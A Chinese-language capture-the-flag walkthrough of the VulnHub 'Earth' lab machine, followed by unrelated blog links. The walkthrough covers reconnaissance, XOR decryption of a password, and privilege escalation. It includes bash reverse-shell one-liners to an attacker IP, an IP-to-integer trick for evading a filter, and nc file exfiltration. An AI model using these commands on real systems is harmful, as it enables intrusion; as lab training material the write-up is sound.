(一)信息收集

开始扫描目标机ip,目标机ip:192.168.241.135

arp-scan -l

直接访问目标  ip 192.168.241.135   发现400报错

只能先去考虑扫一下信息,先nmap一下,发现两个DNS域名我们尝试写入/etc/hosts文件

nmap -A -T4 192.168.241.125  (-A 进行操作系统检测和版本检测 -T4 为快速扫描模式)

开始写入 vi /etc/hosts

按 “i”进入编辑模式

输入 目标机 ip+目标域名

按”esc“退出编辑模式

按shift+:并输入wq进行保存退出

直接输入域名就可以访问

我们分别扫一下这两个域名 earth.local 和 terratest.earth.local,发现两个有用的目录 admin 和 robots.txt

(二)开始渗透

访问earth.local/admin/login发现是个登录页面,那我们就要开始找用户密码了。

先访问下另一个敏感目录 https://terratest.earth.local/robots,发现一个特殊目录、testingnotes.*。

访问一下这个特殊目录,经过多次尝试发现后缀是.txt,成功访问该目录。得到一段英文提示。

英语水平有限,翻译一下去。获得三个有效信息,用户名terra(应该是那个登录页面要用),敏感目录:testdata.txt,还有一个异或加密的提示。

我们先访问一下testdata.txt。这个翻译完之后没什么有效信息,我们联想到前面给出的异或提示,这应该是其中一组。(异或运算需要两组数据)

我又联想到前面earth.local界面下给的一串数字,猜想一下有没有可能和上面那组数据进行异或。

这块解密有点麻烦

1.textdata.txt里面所给的数据为密钥(需要转变为utf8编码)

2.earth.local下面所给的数据只有第三个可以成功解密(这一串数字需要16进制转utf8编码)

3.再将两组数据进行异或运算

4.成功得到一组循环的密码 earthclimatechangebad4humans(这应该是登陆页面的密码)

(三)漏洞利用

现在开始尝试登录一开始发现的登陆页面。

用户名:terra

密码:earthclimatechangebad4humans

我们直接尝试bash反弹

bash -c "bash -i >& /dev/tcp/主机ip/1234 0>&1"

发现没有反应,有可能被过滤了,我们尝试编码绕过。

先尝试对ip进行编码

ip转int        (在线网站:http://www.esjson.com/iptoint.html)

bash -c "bash -i >& /dev/tcp/3232297345/1234 0>&1"
kali本地进行监听 可以直接反弹成功

(四)用户提权

查看一下靶机中有权限的文件,发现一个重置密码的文件

find / -perm -u=s -type f 2>/dev/null

利用ltrace调试文件

将文件传回攻击机进行查看

攻击机开启监听,把接收到的文件命名为跟靶机文件相同的文件名

nc -lvnp 1234 > reset_root

靶机将文件传回来

nc 本机ip 1234 < /usr/bin/reset_root

本地成功接受到文件

对文件进行授权

chmod 777 reset_root

发现缺少三个文件

在靶机中创建这三个文件

1.touch /dev/shm/kHgTFI5G

2.touch /dev/shm/Zw7bV9U5

3.touch /tmp/kcM0Wewe

创建成功后重新访问reser_root文件,发现密码为Earth

/usr/bin/reset_root

su 提权

su

密码:Earth

访问到root目录,成功找到flag。

cd /root

cat root_flag.txt

(五)靶场总结

1.异或解密得到的密钥与文本需要utf8编码

2.ltrace工具 能够跟踪进程的库函数调用,它会显现出调用了哪个库函数

vlunhub笔记(二)earth的更多相关文章

  1. 《CMake实践》笔记二:INSTALL/CMAKE_INSTALL_PREFIX

    <CMake实践>笔记一:PROJECT/MESSAGE/ADD_EXECUTABLE <CMake实践>笔记二:INSTALL/CMAKE_INSTALL_PREFIX &l ...

  2. jQuery源码笔记(二):定义了一些变量和函数 jQuery = function(){}

    笔记(二)也分为三部分: 一. 介绍: 注释说明:v2.0.3版本.Sizzle选择器.MIT软件许可注释中的#的信息索引.查询地址(英文版)匿名函数自执行:window参数及undefined参数意 ...

  3. Mastering Web Application Development with AngularJS 读书笔记(二)

    第一章笔记 (二) 一.scopes的层级和事件系统(the eventing system) 在层级中管理的scopes可以被用做事件总线.AngularJS 允许我们去传播已经命名的事件用一种有效 ...

  4. Python 学习笔记二

    笔记二 :print 以及基本文件操作 笔记一已取消置顶链接地址 http://www.cnblogs.com/dzzy/p/5140899.html 暑假只是快速过了一遍python ,现在起开始仔 ...

  5. WPF的Binding学习笔记(二)

    原文: http://www.cnblogs.com/pasoraku/archive/2012/10/25/2738428.htmlWPF的Binding学习笔记(二) 上次学了点点Binding的 ...

  6. webpy使用笔记(二) session/sessionid的使用

    webpy使用笔记(二) session的使用 webpy使用系列之session的使用,虽然工作中使用的是django,但是自己并不喜欢那种大而全的东西~什么都给你准备好了,自己好像一个机器人一样赶 ...

  7. AJax 学习笔记二(onreadystatechange的作用)

    AJax 学习笔记二(onreadystatechange的作用) 当发送一个请求后,客户端无法确定什么时候会完成这个请求,所以需要用事件机制来捕获请求的状态XMLHttpRequest对象提供了on ...

  8. 《MFC游戏开发》笔记二 建立工程、调整窗口

    本系列文章由七十一雾央编写,转载请注明出处.  http://blog.csdn.net/u011371356/article/details/9300383 作者:七十一雾央 新浪微博:http:/ ...

  9. JavaScript基础笔记二

    一.函数返回值1.什么是函数返回值    函数的执行结果2. 可以没有return // 没有return或者return后面为空则会返回undefined3.一个函数应该只返回一种类型的值 二.可变 ...

  10. [Firefly引擎][学习笔记二][已完结]卡牌游戏开发模型的设计

    源地址:http://bbs.9miao.com/thread-44603-1-1.html 在此补充一下Socket的验证机制:socket登陆验证.会采用session会话超时的机制做心跳接口验证 ...

随机推荐

  1. #PowerBI 1分钟学会,利用format函数,自定义格式显示

    PowerBI是一款强大的数据分析和可视化工具,它可以帮助我们快速地创建各种报表和仪表盘,展示数据的洞察和价值. 在PowerBI中,有许多内置的函数可以帮助我们处理和转换数据,其中一个常用的函数就是 ...

  2. XTU OJ 程设训练 1407 Alice and Bob

    题目描述 Alice和Bob打球,已知他们打过的每一回合的输赢情况,每个回合获胜的一方可以得一分. Alice可以随意设定赢得一局比赛所需的分数和赢得整个比赛所需要的局数. Alice想赢得比赛,请问 ...

  3. springboot 分析源码欢迎页和图标-> thymeleaf模板引擎常用语法->扩展

    欢迎页: icon: 注意点:  thymeleaf模板引擎 1.使用thymeleaf模板引擎前要导入对应依赖包 2.阅读源码: 根据源码说明我们可以将html文件放置在templates目录下,然 ...

  4. CSharp初体验

    入门 初来乍到了解一门新的语言,它可能和熟悉的c/c++有不小差别,整体上需要首先了解下语法文件的整体结构.例如,源文件整体结构如何. 乍看CSharp源文件(compile unit)的结构,官网主 ...

  5. 前端自动识别CAD图纸提取信息方法总结

    前言 CAD图纸自动识别和提取信息具有许多意义,包括以下几个方面: 提高工作效率:传统上,对于大量的CAD图纸,人工识别和提取信息是一项耗时且繁琐的任务.通过自动化这一过程,可以大大提高工作效率,节省 ...

  6. java开发学习框架

    Java基础 1.1. Java简介与安装 1.2. Java基本语法 1.3. 数据类型与变量 1.4. 运算符与表达式 1.5. 流程控制(分支与循环) 1.6. 数组 面向对象编程 2.1. 类 ...

  7. JavaWeb编程面试题——Spring Web MVC

    引言 面试题==知识点,这里所记录的面试题并不针对于面试者,而是将这些面试题作为技能知识点来看待.不以刷题进大厂为目的,而是以学习为目的.这里的知识点会持续更新,目录也会随时进行调整. 关注公众号:编 ...

  8. Linq的所有用法(简单化)

    Linq 是一种强大的查询语言,可以过滤.排序和组合各种数据源.下面我们将讨论 Linq 的各种用法. Linq 的基本语法: Linq 可以应用于任何对象集合,以下是一个示例: var number ...

  9. rust cargo build一直出现 Blocking waiting for file lock on package cache

    如果确定没有多个程序占用,可以删除rm -rf ~/.cargo/.package-cache,然后再执行

  10. MyBatis-plus乐观锁

    什么是乐观锁呢?为什么要使用这个功能?这个功能能做什么呢?如何使用这个? 1.乐观锁( Optimistic Locking ) 是相对悲观锁而言的,乐观锁是假设认为数据一般情况下不会造成冲突,所以在 ...